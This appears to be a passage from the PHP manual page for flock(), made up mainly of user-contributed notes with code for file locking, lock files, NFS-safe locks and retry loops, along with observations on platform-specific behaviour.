
flock() is not supported on antiquated filesystems like FAT and its derivates and will therefore always return FALSE under this environments (this is especially true for Windows 98 users).

User Contributed Notes

mdessaintes at gmail dot com 22-Sep-2011 08:44
I just spend a long time to understand why write function returns me "0", on a basic file opening and then writing.

I discovered that if you use LOCK_SH and then you write something, that will not work :

<?php
$fp = fopen('file.txt', 'a');

flock($fp,LOCK_SH);

$written = fputs($fp, 'data');

var_dump($written); // 0 and file is not changed

fclose($fp);
?>
Evan Battaglia 05-Jan-2011 05:13
LOCK_NB seems to be checked and works fine in Windows, too, in PHP 5.3.3.

For instance, try concurrently running two instances of the following script (via the CLI). The second prints "Didn't quite get the lock..." as expected, whereas w/o the LOCK_NB flag, it just hangs.

<?php
$x = fopen("flocktest.txt", "w");
if (flock($x, LOCK_EX|LOCK_NB)) {
    print "No problems, I got the lock, now I'm going to sit on it.";
    while (true)
        sleep(5);
} else {
    print "Didn't quite get the lock. Quitting now. Good night.";
}
fclose($x);
?>
holdoffhunger at gmail dot com 03-Dec-2010 07:53
I've been having trouble getting Flock to work when I read a file, delete it, and then output slightly changed information back to the same location.  When deleting with Unlink, there's a very brief period of time where no file exists.  But, if you do an fopen using the "w" mode, it keeps the file in existence, but deletes all of its data when you go to write to it.  That way, the file never actually disappears, and another script accessing the same file with flock won't get a "file doesn't exist" error.
webmaster at bitpush dot com 11-Nov-2010 08:31
Regarding the change in PHP 5.3.2 with locked files:

Without having studied the PHP source code in detail, the situation appears to be as follows when the PHP function fclose() is called:

Before 5.3.2 PHP would check if the file was locked, then release the lock, and then close the file.

From 5.3.2 PHP just closes the file.

But note, that the operating system releases the lock automatically when the file is closed. Therefore a call to fclose() STILL releases the lock (this is tested with PHP 5.3.2, Linux, x64).
mirco dot babin at gmail dot com 15-Sep-2010 10:10
Because:
1) flock() is not safe if multiple php sessions are simultaneously locking.
2) fopen( , 'a') is not safe if multiple php sessions are simultaneously appending.
3) usleep and sleep are known for having problems.

I wrote the Weblog function, it's purpose is to append a line to logging. This function handles the concurrency as follows:
- Try to create a lockfile named: $directory . date('Ymd') . $logfile . 1 . lock
- If this fails, try to create lockfile named: $directory . date('Ymd') . $logfile . 2 . lock
- etc. After 100 tries return false.

- When the lockfile is acquired the file named: $directory.date('Ymd').$logfile.1 (or .2 or .3 or .25) is opened or created.
- If created the a "extended log file" header is written.
- Write out the line.
- Close the flie and if created set the correct access rights. (I had some problems creating files on a webserver, I did not see them when I opened a FTP session to the webdirectory. The chmod did the trick for me).

- Remove the lockfile.

There is only one drawback, multiple logfiles are created.
e.g. (executed on 15 september 2010)
    Weblog('./' , 'visit', 'Somebody requested the index page');
Could lead to 100 files, depending how many concurrent php sessions are simultaneously trying to append a logline:
./20100915visit.1
./20100915visit.2
./20100915visit.3
./20100915visit.4
...
./20100915visit.100

This function is donated to the public domain. Maybe you can give me some credit by leaving in the author comment, but it is not required. You may modify this as you wish.
(This function was inspired by the function m_lock_file presented by Kuzma dot Deretuke at gmail dot com)

<?php
function Weblog($directory, $logfile, $message)
{
    // Created 15 september 2010: Mirco Babin
    $curtime = time();
    $logfile = date('Ymd',$curtime) . $logfile;

    if (!isset($directory) || $directory === false)
        $directory = './';
    if (substr($directory,-1) !== '/')
        $directory = $directory . '/';

    $count = 1;
    while(1)
    {
        $logfilename = $directory . $logfile . '.' . $count;

        $lockfile = $logfilename . '.lock';
        $lockhandle = false;
        if (!file_exists($lockfile) || @unlink($lockfile))
            $lockhandle = @fopen($lockfile, 'xb');
        if ($lockhandle !== false) break;

        $count++;
        if ($count > 100) return false;
    }

    if (file_exists($logfilename))
        {
            $created   = false;
            $loghandle = @fopen($logfilename, 'ab');
        }
    else
        {
            $loghandle = @fopen($logfilename, 'xb');
            if ($loghandle !== false)
                {
                    $created = true;

                    $str = '#version: 1.0' . "\r\n" .
                           '#Fields: date time c-ip x-msg' . "\r\n";
                    fwrite($loghandle,$str);
                }
            }

    if ($loghandle !== false)
        {
            $str = date('Y-m-d',$curtime) . "\t" .
                   date('H:i:s', $curtime) .  "\t" .
                   (isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '-') . "\t" .
                   '"' . str_replace('"', '""', $message) . '"' . "\r\n";
            fwrite($loghandle,$str);

            fclose($loghandle);

            if ($created) chmod($logfilename,0644); // Read and write for owner, read for everybody else

            $result = true;
        }
    else
        {
            $result = false;
        }

    fclose($lockhandle);
    @unlink($lockfile);

    return $result;
}
?>
dejangex at yahoo dot com 21-Dec-2009 01:47
Actually, there is no use of the while loop with the usleep. My testing has revealed the following:

<?php
//some code here
flock($file_handle, LOCK_EX) // <- Your code will pause here untill you get the lock for indefinite amount of time or till your script times out
//some code here
?>

This will actually check for the lock without pausing and then it will sleep:

<?php
//code here
while (!flock($file_handle, LOCK_EX | LOCK_NB)) {
 //Lock not acquired, try again in:
 usleep(round(rand(0, 100)*1000)) //0-100 miliseconds
}
//lock acquired
//rest of the code
?>

The problem is, if you have a busy site and a lots of locking, the while loop may not acquire the lock for some time. Locking without LOCK_NB is much more persistent and it will wait for the lock for as long as it takes. It is almose guaranteed that the file will be locked, unless the script times out or something.

Consider these two scripts: 1st one is ran, and the second one is ran 5 seconds after the first.

<?php
//1st script
$file_handle = fopen('file.test', 'r+');
flock($file_handle, LOCK_EX); //lock the file
sleep(10); //sleep 10 seconds
fclose($file_handle); //close and unlock the file
?>

<?php
//2nd script
$file_handle = fopen('file.test', 'r+');
flock($file_handle, LOCK_EX); //lock the file
fclose($file_handle); //close and unlock the file
?>

If you run 1st and then the 2nd script,the 2nd script will wait untill the 1st has finished. As soon as the first script finishes, the second one will acquire the lock and finish the execution. If you use flock($file_handle, LOCK_EX | LOCK_NB) in the 2nd script while the 1st script is running, it would finish execution immediately and you would not get the lock.
daniel AT brightbyte DOT de 08-Sep-2009 12:49
flock on Solaris is slightly strange: it will fail if you try to get an exclusive lock on a file not opened for writing. That is, for reading files, you MUST use a shared lock. From the Solaris man page for flock:

"Read permission is required on a file to obtain a shared lock, and write  permission is required to obtain an exclusive lock."

In contrast, this is from the Linux man page for flock:

"The mode used to open the file doesn’t matter to flock."

So, beware...
Kuzma dot Deretuke at gmail dot com 06-Aug-2009 04:31
I use exclusive writing to replace standard flock():

<?php
// get/set lock file name
function m_lock_file( $format = null ) {
    static $file_format = './%s.lock';

    if ($format !== null) {
        $file_format = $format;
    }

    return $file_format;
}

// acquire/check/release lock
function m_lock( $lockId, $acquire = null ) {
    static $handlers = array();

    if (is_bool($acquire)) {
        $file = sprintf(m_lock_file(), md5($lockId), $lockId);
    }

    if ($acquire === false) {
        if (isset($handlers[$lockId])) {
            @fclose($handlers[$lockId]);
            @unlink($file);
            unset($handlers[$lockId]);
        } else {
            trigger_error("Lock '$lockId' is already unlocked", E_USER_WARNING);
        }
    }

    if ($acquire === true) {
        if (!isset($handlers[$lockId])) {
            $handler = false;
            $count = 100;
            do {
                if (!file_exists($file) || @unlink($file)) {
                    $handler = @fopen($file, "x");
                }
                if (false === $handler) {
                    usleep(10000);
                } else {
                    $handlers[$lockId] = $handler;
                }
            } while (false === $handler && $count-- > 0);
        } else {
            trigger_error("Lock '$lockId' is already locked", E_USER_WARNING);
        }
    }

    return isset($handlers[$lockId]);
}
?>

Usage sample:

<?php
$lockId = "qq";

m_lock($lockId, true);
if (m_lock($lockId)) {
    echo "locked";

    // here you can perform any thread-safe operations
    usleep(300 * 1000);

    m_lock($lockId, false);
} else {
    echo "not locked";
}

?>
jbatka01 at gmail dot com 27-Apr-2009 01:54
For those who just want to check if a file is available for locking and return immediately (without blocking), use the following syntax:

<?php
$file = fopen('file.txt', 'w');

if(flock($file, LOCK_EX | LOCK_NB)){
    echo 'Got lock, continue writing to file';
    // Code to write to file
}else{
    echo 'File is locked by another process, aborting writing';
    // Couldn't obtain the lock immediately
}
?>

This is a quick, easy way to determine if another process is using the file or not, without blocking your script.
Fernando Gabrieli fgabrieli at gmail 12-Feb-2009 11:06
When writing to a file, you should avoid using w+ because it would erase the contents of the file before locking

If you need to write the complete file again you could use the following instead:

<?php
$fp = fopen('yourfile.txt', 'a') ;

if (flock($fp, LOCK_EX)) {
    ftruncate($fp, 0) ; // <-- this will erase the contents such as 'w+'

    fputs($fp, 'test string') ;

    flock($fp, LOCK_UN) ;
}

fclose($fp) ;
?>

Best,
Fernando Gabrieli
yesmarklapointe at hotmail dot com 04-Dec-2008 04:35
Perhaps not what you are looking for, but seems to me that  to avoid a race condition you have to end the race, that is, stop allowing multi-threaded or parallel processes to do the file manipulation part of the overall application. Put the data outside the competing scripts and let a separate process handle the transfer or replacement or storage in a deterministic way … if you can wait that long for it. For example,  why not have a chron job process temporary files in a special directory, making their individual changes to the ‘real’ file based on something simple like which one is stored first in this special directory. All of your scripts have to put their file change requests into this directory by a sufficiently random naming scheme … but maintaining an incremental aspect to the naming so they are in order for processing. In this example, besides the chron job, no other script should have more than read access to the real file.
administrator at proxy-list dot org 23-Nov-2008 02:14
Hello,

There is couple of reasons why EVERY software developer should avoid its usage if it is possible. My own server was crashed couple of times because of flock (including hours of down time). So you have to think twice before you will decide to use it.

After a while I have found the problematic situations. For my surprise it was not just badly written PHP scripts, it was some unclear bugs in FreeBSD. In some case, when more than 20 requests per second try to do exclusive flock on the same file, the scripts stuck ;) and they were using 100% of CPU (only Apache’s reboot or manual kill could stop them).

Soon after I have found nice solution (thanks arne at bukkie dot nl for good suggestion). I want to share it with you:

<?php
// waiting until file will be locked for writing (1000 milliseconds as timeout)
if ($fp = fopen($fileName, 'a')) {
  $startTime = microtime();
  do {
    $canWrite = flock($fp, LOCK_EX);
    // If lock not obtained sleep for 0 - 100 milliseconds, to avoid collision and CPU load
    if(!$canWrite) usleep(round(rand(0, 100)*1000));
  } while ((!$canWrite)and((microtime()-$startTime) < 1000));

  //file was locked so now we can store information
  if ($canWrite) {
    fwrite($fp, $dataToSave);
  }
  fclose($fp);
}?>

I have added simple timeout value for flock. Case flock was not obtained within N seconds - writing will be skipped, instead of waiting and causing server’s high CPU load.

With best regards

Owner of http://proxy-list.org
tinymountain at nospam dot gmail dot com 31-Jul-2008 01:36
Here's a handy class to allow retrying a write with flock a set number of times. If it can't flock, it will sleep for a brief random interval and try again. If you have a lot of concurrent writes going on, you can use it to avoid data corruption.

<?php
class SafeWriter
{
    // suggested mode 'a' for writing to the end of the file
    public static function writeData($path, $mode, $data)
    {
        $fp = fopen($path, $mode);
        $retries = 0;
        $max_retries = 100;

        if (!$fp) {
            // failure
            return false;
        }

        // keep trying to get a lock as long as possible
        do {
            if ($retries > 0) {
                usleep(rand(1, 10000));
            }
            $retries += 1;
        } while (!flock($fp, LOCK_EX) and $retries <= $max_retries);

        // couldn't get the lock, give up
        if ($retries == $max_retries) {
            // failure
            return false;
        }

        // got the lock, write the data
        fwrite($fp, "$data\n");
        // release the lock
        flock($fp, LOCK_UN);
        fclose($fp);
        // success
        return true;
    }
}
?>
John dot wellesz at teaser dot fr 14-Apr-2008 05:59
I just want to add a note about making atomic lock on NFS, there is only two
ways:

- 1 (the most robust but the most complicate) - It's to use link() to create a
  hard link to a file you want to lock (on the same FS of course).
  (On most NFS implementations, Link() is atomic)

Once you created a hard link (not a symbolic link), with a unique randomly
generated name, call stat() on it and count the number of link (nlink), if there
is only 2 then the file is locked.

If there is more than two you have to unlink() the link you just created and
create a new one with a new unique name (else NFS will use its cache and stat
will return wrong data) then call stat() on the new link and test the number of
links again, repeat this operation until you get the lock.

You have to use usleep() between the link() attempts with a fixed + random
sleep value to avoid dead lock situations (link() and unlink() may be atomic
but not instantaneous)

Also note than when you unlink a file through NFS, if NFS think that the file
is still in use, it will create a .nfs link to this file until it realizes the
file is no longer in use... A wrong timing could generate thousands of those
files and a deadlock situation.  Because of this when a deadlock situation
occurs or if your stat() command returns a very high number of links, you have
to look for .nfs file in the same directory you created your links and unlink
all the .nfs file you find (sometimes NFS take its time to remove them)

- 2 (the simplest) - the second method is to use a lock server and lock daemons
  on each client that will forward lock request to the server... (this is more
dangerous than the first method because the daemons may be killed...)

Here is for reference the function I created to make atomic locks through NFS
(this function is in production since at least 4 years now), it's just for
reference because it uses many external functions to do its job but you can see
the principle:

http://pastey.net/85793
admin ifyouwantblood de 23-Dec-2007 07:05
besides from what the manual says about locking a file opendend in w or w+ and using a special lock file for these cases, you should simply truncate the file yourself with ftruncate() after writing:

<?php

$data='some data';
$handle=fopen('file','r+');
flock($handle,LOCK_EX);
fwrite($handle,$data);
ftruncate($handle,ftell($handle));
flock($handle,LOCK_UN);
fclose($handle);

?>

now the file will have the size of $data without opening the file in w mode but with a lock on the file.

to the previous writers jpriebe and mallory:
of course the lock is lost in this case, but thats simply because the file is closed by PHP. and closing the file means unlocking it (same as when you use fclose() yourself).
mallory dot dessaintes at gmail dot com 19-Dec-2007 07:56
I have noticed that if you change the value of your fopen ressource, the lock is working no longer..

<?php

$fo = fopen('lockfile.txt','a');

flock($fo,LOCK_EX);

$fo = '';

// Lock is disable

?>
candide at idees-et-solutions dot fr 07-Dec-2007 03:48
Just a comment about the last method to lock files using filemtime().
What if   filemtime($fp[1]) == $fp[3]   because somebody modified the file less than 1s after the value of $fp[3] was picked up?
Then this modification will be lost...?

This system to lock files is made to prevent problems when two modifications are so close that they can interfere, so the case "less than 1s" will often happen?

However, lose some modifications is better than spoil all the file...
Antti Haapala 06-Oct-2007 04:30
Further information on flock: The system is not restarted if a signal is delivered to the process, so flock will happily return false in case of SIGALRM, SIGFPE or something else.
Antti Haapala 06-Oct-2007 03:41
The supplied documentation is vague, ambiguous and lacking, and the user comments contain erroneous information! The flock function follows the semantics of the Unix system call bearing the same name. Flock utilizes ADVISORY locking only; that is, other processes may ignore the lock completely; it only affects those that call the flock call.

LOCK_SH means SHARED LOCK. Any number of processes MAY HAVE A SHARED LOCK simultaneously. It is commonly called a reader lock.

LOCK_EX means EXCLUSIVE LOCK. Only a single process may possess an exclusive lock to a given file at a time.

If the file has been LOCKED with LOCK_SH in another process, flock with LOCK_SH will SUCCEED. flock with LOCK_EX will BLOCK UNTIL ALL READER LOCKS HAVE BEEN RELEASED.

If the file has been locked with LOCK_EX in another process, the CALL WILL BLOCK UNTIL ALL OTHER LOCKS have been released.

If however, you call flock on a file on which you possess the lock, it will try to change it. So: flock(LOCK_EX) followed by flock(LOCK_SH) will get you a SHARED lock, not "read-write" lock.
administrator at proxy-list dot org 29-Apr-2007 05:30
Hello,

I want to give an example how to lock file with two or more flags (for example reading and writing). IMPORTANT: each locking should be done separately, the correct way of using flock() is:

<?php
flock($fp, LOCK_EX);
flock($fp, LOCK_SH);
?>

and NOT like these:

<?php
flock($fp, LOCK_EX and LOCK_SH);
flock($fp, LOCK_EX or LOCK_SH);
flock($fp, LOCK_EX + LOCK_SH);
?>

Furthermore if someone has not pay attention to function’s description - flock does not lock any file in the right way. The file is still accessible for reading/writing, in other words these functions: file(), file_get_contents() and even fopen($file, ‘r’) will ignore the lock.

I think PHP mechanism works something like this: as soon as file lock was successful, the function flock() writes somewhere (in its own “DB” for example) that file handle is locked with some flag and nothing more. It is up to the developer to check if file is locked or not before doing any operations.

Hope this post makes clear the flock() function’s working principles.

Regards

Vitali Simsive

==

During test I have discovered that if you have locked file for writing (LOCK_EX) both read and write will not be accessible from other scripts. In case of read locking (LOCK_SH) only writing will not be accessible for other PHP scripts but they will be able to read file simultaneously.
LemonJuice 09-Apr-2007 12:37
Hi,

The discussions below address flock() in the context of managing integrity of file contents as well as the context of using flock() in combination with a dummy file to generally establish agreement on the access state of some other object. The following addresses the latter.

I use this as a replacement for LOCK TABLES because during some transactional update statements I require the contents of other tables to freeze and transactions and tablelocks don't mix in mySQL / InnoDB.

<?php

class ReadWriteLock
{
    const LOCK_PATH = "locks";
    public static function Aquire($ID, $LockType = LOCK_SH, $WouldBlock = TRUE)
    {
        // Make sure the file exists and we have it opened.
        // We don't care about writing to the file. We just need a file reference that flock() can work on.
        // Also, on an OS level all thread's are sharing this file. We don't do access control in relation to this file.
        // So let's assume first that it already exists.
        $FileName = self::LOCK_PATH."/lock_$ID.lck";
        if(($Resource = @fopen($FileName, "r")) === FALSE)
            // Ok, so this is the first time a thread acquires a lock to this $ID. Let's create the file.
            if(($Resource = @fopen($FileName, "w")) === FALSE)
            {
                // Ok, perhaps some thread created it between the two ifs. This class does not delete the file so it should now be there.
                if(($Resource = @fopen($FileName, "r")) === FALSE)
                    return FALSE;
            }
            else
            {
                // #REF 1
                // Ok, it exists now. Just for solidarity and prevention of whatever OS hickups we can possibly have
                // I want this thread to open it in r mode too.
                if(fclose($Resource) === FALSE)
                    return FALSE;
                if(($Resource = @fopen($FileName, "r")) === FALSE)
                    return FALSE;
            }
        // And this is really where the locking takes place.
        if(flock($Resource, $LockType, $WouldBlock)) return $Resource;
        fclose($Resource);
        return FALSE;
    }

    public static function Release($Resource)
    {
        if(fclose($Resource)) return TRUE;
        return FALSE;
    }
}

// Entering critical section
if(($Lock = ReadWriteLock::Acquire("metadata")) === FALSE)
    die("Failed to either create or acquire the lock.")

// Construct SQL statements from meta tables
// Execute constructed SQL statements agains data tables

// Leaving critical section
if((ReadWriteLock::Release($Lock)) === FALSE)
    die("Failed to release the lock.");
?>

A few notes about this:

- As you can see, this just creates 'a' file to use as a reference for flock() to work on. My assumption here is that the operating system uses semaphores internally to implement Flock(). Of that, I am not sure however and I would appreciate any validation from an expert.

- The problem of the existence of the lockfile is solved by simply not deleting them. Given that they are all 0-byte files in a specified folder and that they are only of a limited amount makes it something that works for my solution. Alternatively you could touch() the lockfile upon a succesful flock() and use a cron job to delete any files that have not been touched since, say, a day (or at least for the duration of the session timeout setting of your webserver). That would introduce a race condition for access on the actual file though which I prefer to exclude from the above.

- flock() implements a low priority exclusive lock. This means that once the resource is locked in a shared mode, exclusive locks may be delayed indefinately if (and only if) a continuous abundance of shared lock requests come in so that every thread releases his shared lock after another thread has already gained shared access. For me, this is an ussue and I would appreciate any references to establish a high priority exclusive lock.

Good luck,

Juice
...Tastes like more!
Will Reiher 27-Mar-2007 04:52
I've been testing a few custom file access functions but I always liked the simplicity of file_get_contents(). Of course it doesn't seem to respect any file locks created with flock(). I created the function below to wrap around file_get_contents() so it can support locked files. It's an odd way of doing it but it works for me.

<?php
function flock_get_contents($filename){

    $return = FALSE;

    if(is_string($filename) && !empty($filename)){
        if(is_readable($filename)){
            if($handle = @fopen($filename, 'r')){
                while(!$return){
                    if(flock($handle, LOCK_SH)){
                        if($return = file_get_contents($filename)){
                            flock($handle, LOCK_UN);
                        }
                    }
                }
                fclose($handle);
            }
        }
    }

    return $return;
}
?>
korostel at newmail dot ru 29-Jan-2007 03:22
In order to prevent access to some counter file we can use another file as a flag instead of flock().
We change flag's file mode to '400' each time we want to change the counter, and set it back to '600' at the end.
If the mode of the flag's file was already changed by another process, we make delayed loop till its mode is set to writable again.
The page is refreshing every second so the results can be seen by opening it in two or three browser windows. I tested the script meny times and still my counter is safe.
Hope this will help.
--------------START------------------
<?php
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-cache, must-revalidate");
header("Pragma: no-cache");
header("Last-Modified: ".Date("D, d M Y H:i:s")." GMT");
define('COUNT_FILE','count.txt'); //Our counter file
define('LOCK_FILE','lock.txt'); //Our lock file.

function read_write () {
    //making our lock file nonwritable
    chmod(LOCK_FILE, 0400);
    //reading
    clearstatcache();
    $fpr = fopen(COUNT_FILE, "r");
    $count=fread ($fpr, filesize (COUNT_FILE));
    fclose($fpr);
    $count++;
    //writing
    $fpw = fopen(COUNT_FILE, "w");
    fwrite($fpw,$count);
    fclose($fpw);
    //pause the script just to see how it works
    sleep(1);
    //making our lock file writable again
    chmod(LOCK_FILE, 0600);
    return $count;
}
?><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html><head><title>Untitled</title><meta http-equiv="Refresh" content="1"></head><body>
<?php
clearstatcache();
//Check the mode of our lock file
if(is_writable(LOCK_FILE)) {
    print 'is unlocked <br>';
    //make changes and show the results
    print 'changed to '.read_write().'<br>';
}else{
    print 'is locked: ';
    //make loop
    while(!is_writable(LOCK_FILE)) {
        print 'pause... ';
        usleep(rand(5,999));
    }
    //make changes and show the results
    print '<br>changed at last to '.read_write().'<br>';
}?>
</body></html>
--------------END------------------
jerry at gh33 dot org 14-Aug-2006 09:30
Indeed, flock() will not work reliably when the underlying filesystem is NFS. The proper way to perform file locking, in this case, would be to use PHP's link() function. From the Linux man page of open():

       O_EXCL When used with O_CREAT, if the file  already  exists  it  is  an
              error  and  the open will fail. In this context, a symbolic link
              exists, regardless of where its points to.  O_EXCL is broken  on
              NFS file systems, programs which rely on it for performing lock-
              ing tasks will contain a race condition.  The solution for  per-
              forming  atomic  file  locking  using  a lockfile is to create a
              unique file on the same fs  (e.g.,  incorporating  hostname  and
              pid),  use  link(2)  to  make  a link to the lockfile. If link()
              returns 0, the lock is successful.  Otherwise,  use  stat(2)  on
              the  unique  file to check if its link count has increased to 2,
              in which case the lock is also successful.
dranger AT export dash japan dot com 16-Feb-2006 10:03
Also note that if you want to truncate a file, but make sure it's locked first, you DON'T need to use a separate lock file like the directions say. Use this instead:

<?php

$f=fopen("file", "r+");
flock($f, LOCK_EX) or die("Error! cant lock!");
ftruncate($f, 0);
fwrite($f, $stuff);
fclose($f);

?>

But if you open a file with "w" or "w+" you WILL blow it away before you can lock it.
marc dot vanwoerkom at fernuni-hagen dot de 15-Feb-2006 02:00
I ran into a loop because I just checked for true (= you got the lock) as return value of flock() and tried again when I got a false.

<?php
    function naive_wait_for_file($fp) {
        while (true) {
            if (flock($fp, LOCK_EX)) {
                return;
            }
            $k = rand(0, 20);
            usleep(round($k * 10000));  # k * 10ms
        }
    }
?>

Unfortunately in one case the $fp I put in was invalid, so I always got false and got stuck.
Lesson: check if your $fp is valid before entering the loop, or look closer if you get a false.

<?php
    function wait_for_file($fp) {
        if ($fp === false) {
            return;
        }
        while (true) {
            if (flock($fp, LOCK_EX)) {
                return;
            }
            $k = rand(0, 20);
            usleep(round($k * 10000));  # k * 10ms
        }
    }
?>
administrator at proxy-list dot org 28-Dec-2005 08:12
Hello guys,

I want to shear one good trick, it was no invented by me but it is very useful with flock. This technology was used by team who invent Ethernet as my tutor Pitter Timothy teach me. I want to say thank you.

If you have a lot of scripts about 1000 which possible try to write something in file you need to lock file before starting writing. So you should use something like this:

<?php
        $fp = fopen($logFileName, 'a');
        $canWrite = false;
        //Waiting until file will be locked for writing
        while (!$canWrite) {
          $canWrite = flock($fp, LOCK_EX);
        }
        //file was locked so now we can store information
        fwrite($fp, $toSave);
        fclose($fp);
?>

but during testing I have find out what some times script have to many collisions, and during 10 seconds can not write anything. It happened because some scripts try simultaneously. If file was busy they all will wait same time. So I use the same technology like guys who invent first simple Ethernet use in case of package collision. I put random millisecond sleep. You can not imagine but script start working 3 times quicker!

<?php
        $fp = fopen($logFileName, 'a');
        $canWrite = false;
        //Waiting until file will be locked for writing
        while (!$canWrite) {
          $canWrite = flock($fp, LOCK_EX);
          //Sleep for 0 - 2000 miliseconds, to avoid colision
          $miliSeconds = rand(0, 20); //1 u = 100 miliseconds
          usleep(round($miliSeconds*100000));
        }
        //file was locked so now we can store information
        fwrite($fp, $toSave);
        fclose($fp);
?>

By the way I have no idea which diapason is better, but 0 - 1000 is not enough.

Hope it will help somebody

Best regards in your projects

Vitali Simsive
damasta at onwebworx dot net 09-Aug-2005 08:28
just wanted to say that you will most likely fail if you use a separate lock file together with register_shutdown_function.

my script did some different actions... resizing pictures, rotating them and this stuff. it needed a "database" file to get the correct file locations. this database file also stored some flags. and of course the script had to save that file when it was done.

because of my script exited on many different points depending on the action i used register_shutdown_function to save the file. it wanted to use a locking system to be sure the script doesn't overwrite the data another process had written into it some microseconds before. i was running on windows 2000 and apache2 on my developing machine, and flock always returned true for some reason... so i used a separate lock file. the script looked for it at the beginning and exited if it was found. otherwise it created it. but this file had to be deleted at the end. i put the unlink command into the registered shutdown-function but it never deleted the file. i tried clearstatcache and some other stuff but it didn't help.

maybe this helps someone.
pentek_imre at mailbox dot hu 31-Oct-2004 03:51
flock isn't good in race conditions. I accept that it can correctly lock file and can correctly block php processes if file is locked, but anyway this function isn't the right way to manage a race condition.
Let's have a look at this code:
<?php
$f=fopen($filename,"a+") or die();
flock($f,LOCK_EX) or die();
//here write some lines to the file -- not included
//then close:
flock($f,LOCK_UN) or die();
fclose($f) or die();
?>
Then generate a race situation with two php processes:
1: open file ok, no file found, create
2: open file ok, file found seek to the end (0lenght file so to the beginning)
1: lock file ok
2: flock waits since file is already locked.
1: write ok
1: unlock ok
2: flock ok this process now continues
1: fclose ok
2: write something, but due to prebuffering the file is now empty, so content written by 1 is now unconsidered, forgotten.
2: unlock ok
2: fclose ok
file will have only the content from process 2
this is the situation if you use r+ too, no matter if you used fflush or not.
conclusion: you may want to create a separate lock file!
separate lock file will behave like in the previous example too, so let's try LOCK_NB and $wouldblock, file close and reopen.
let's see this example:
<?php
$file="/tmp/phplockfile";
do
 {
  if(isset($f))
   {
    flock($f,LOCK_UN);
    fclose($f);
   }
  $f=fopen($file,"a") or die();
  flock($f,LOCK_EX+LOCK_NB,$W);
//  sleep(1);
 }
while ($W==1);

//lock is mine:
echo $_SERVER["UNIQUE_ID"]." ".date("r")."\n";
sleep(1);
echo $_SERVER["UNIQUE_ID"]." ".date("r")."\n";

//release the lock:
flock($f,LOCK_UN);
fclose($f);
?>
I tried this code for 10 (ten) parellel processes. only three of them succeeds to lock the file and unlock it, the other seven quits with execuition timeout. uncommenting the sleep(1); won't help too, just execution will be longer (30 sec is counted not as real time but as cpu time)
I tried random usleep too, as I remember this wasn't helped too.
Remember that file close and reopen is a must becouse processes may write to the file, and this way these extra bytes will be considered too.
rehfeld.us 28-Sep-2004 04:04
<?php

/*
 * I hope this is usefull.
 * If mkdir() is atomic,
 * then we do not need to worry about race conditions while trying to make the lockDir,
 * unless of course were writing to NFS, for which this function will be useless.
 * so thats why i pulled out the usleep(rand()) peice from the last version
 *
 * Again, its important to tailor some of the parameters to ones indivdual usage
 * I set the default $timeLimit to 3/10th's of a second (maximum time allowed to achieve a lock),
 * but if your writing some extrememly large files, and/or your server is very slow, you may need to increase it.
 * Obviously, the $staleAge of the lock directory will be important to consider as well if the writing operations might take  a while.
 * My defaults are extrememly general and you're encouraged to set your own
 *
 * $timeLimit is in microseconds
 * $staleAge is in seconds
 *
 *
 */

function microtime_float()
{
   list($usec, $sec) = explode(' ', microtime());
   return ((float)$usec + (float)$sec);
}

function locked_filewrite($filename, $data, $timeLimit = 300000, $staleAge = 5)
{
    ignore_user_abort(1);
    $lockDir = $filename . '.lock';

    if (is_dir($lockDir)) {
        if ((time() - filemtime($lockDir)) > $staleAge) {
            rmdir($lockDir);
        }
    }

    $locked = @mkdir($lockDir);

    if ($locked === false) {
        $timeStart = microtime_float();
        do {
            if ((microtime_float() - $timeStart) > $timeLimit) break;
            $locked = @mkdir($lockDir);
        } while ($locked === false);
    }

    $success = false;

    if ($locked === true) {
        $fp = @fopen($filename, 'a');
        if (@fwrite($fp, $data)) $success = true;
        @fclose($fp);
        rmdir($lockDir);
    }

    ignore_user_abort(0);
    return $success;
}

?>
rudy dot metzger at pareto dot nl 08-Sep-2004 03:31
Like a user already noted, most Linux kernels (at least the Redhat ones) will return false, even if you locked the file. This is because the lock is only ADVISORY (you can check that in /proc/locks). What you have to do there is to evalute the 3rd parameter of flock(), $eWouldBlock. See for an example below. Note however that if you
lock the file in non blocking mode, flock() will work as expected (and blocks the script).

<?php

$fp = fopen( "/var/lock/process.pid", "a" );
if ( !$fp || !flock($fp,LOCK_EX|LOCK_NB,$eWouldBlock) || $eWouldBlock ) {
  fputs( STDERR, "Failed to acquire lock!\n" );
  exit;
}

// do your work here

fclose( $fp );
unlink( "/var/lock/process.pid" );

?>
Joby <god at NOSPAMPLEASE dot greentinted dot net> 30-Jun-2004 05:59
I'm thinking that a good way to ensure that no data is lost would be to create a buffer directory that could store the instructions for what is to be written to a file, then whenever the file is decidedly unlocked, a single execution could loop through every file in that directory and apply the indicated changes to the file.

I'm working on writing this for a flat-file based database.  The way it works is, whenever a command is issued (addline, removeline, editline), the command is stored in a flat file stored in a folder named a shortened version of the filename to be edited and named by the time and a random number.  In that file is a standardized set of commands that define what is to be done to what file (the likes of "file: SecuraLog/index_uid" new line "editline: 14").

Each execution will check every folder in that directory for files and a certain amount of time (I don't know how long, maybe 1-2 seconds) is spent making pending changes to unlocked files.  This way no changes will be lost (i.e. person 1 makes a change at the same time as person 2, and person 1 loses the race by just enough to have their changed version of the file overwritten by person 2's version) and there will be no problems with opening an empty open file.
m4v3r at o2 dot pl 04-Apr-2004 04:44
Following is based on below comments. When something goes wrong, script will perform backup of writen data to randomly named file in temp dir.

<?php
function safewrite($filename, $data){
    $rand = microtime();
    $rand = md5($rand);
    $temp = fopen("temp/$rand", "w");
    fwrite($temp, $data);
    fclose($temp);
    $otw = fopen($filename, "a+");
    if(flock($otw, LOCK_EX)){
        ftruncate($otw, 0);
        if(!fwrite($otw, $data)) $err = 1;
        flock($otw, LOCK_UN);
        fclose($otw);
    } else {
        $err = 1;
    }
    if($err == 1 || (filesize($filename) == 0 && strlen($data) <> 0)){
        die("<b>There was an error while writing to $filename. Contact site administrator!</b>");
    } else {
        unlink("temp/$rand");
    }
}
?>

Hope it helps.
Glip 29-Jan-2004 10:39
If you don't want use secondary lock file while truncating, try this:

<?php

$fp = fopen("/tmp/lock.txt", "a+");

if (flock($fp, LOCK_EX)) { // do an exclusive lock
   ftruncate($fp, 0);
   fwrite($fp, "Write something here\n");
   flock($fp, LOCK_UN); // release the lock
} else {
   echo "Couldn't lock the file !";
}

fclose($fp);

?>
